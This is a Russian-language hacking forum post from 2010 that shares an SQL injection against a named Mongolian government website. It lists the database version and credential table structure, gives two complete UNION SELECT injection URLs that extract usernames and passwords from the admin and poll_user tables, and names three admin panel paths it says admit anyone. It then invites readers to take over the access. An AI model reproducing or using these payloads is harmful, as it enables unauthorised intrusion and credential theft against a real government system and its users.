24.03.2010, 00:58
|
|
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
С нами:
8700497
Репутация:
388
|
|
.GOV ресурс
MySQL 5.0.84-percona-highperf-log
admin::id, user_name, password | and | general_administrator::user_name, password | and| poll_user:: user_id, username, userpass
http://www.iltod.gov.mn/news.php?id=-100+union+select+1,group_concat(0x0b,id,0x3a,user_ name,0x3a,password),3,4,5,6,7,8,9,10,11,12+from+ad min+--
так же интересные резалты из таблицы poll_user
http://www.iltod.gov.mn/news.php?id=-100+union+select+1,group_concat(0x0b,username,0x3a ,userpass),3,4,5,6,7,8,9,10,11,12+from+poll_user+--
admin panels:
http://www.iltod.gov.mn/admin/
http://www.iltod.gov.mn/_private/
http://www.iltod.gov.mn/poll/admin/
пускает спокойно, но на монгольском я мало что понял=( забирайте
|
|
|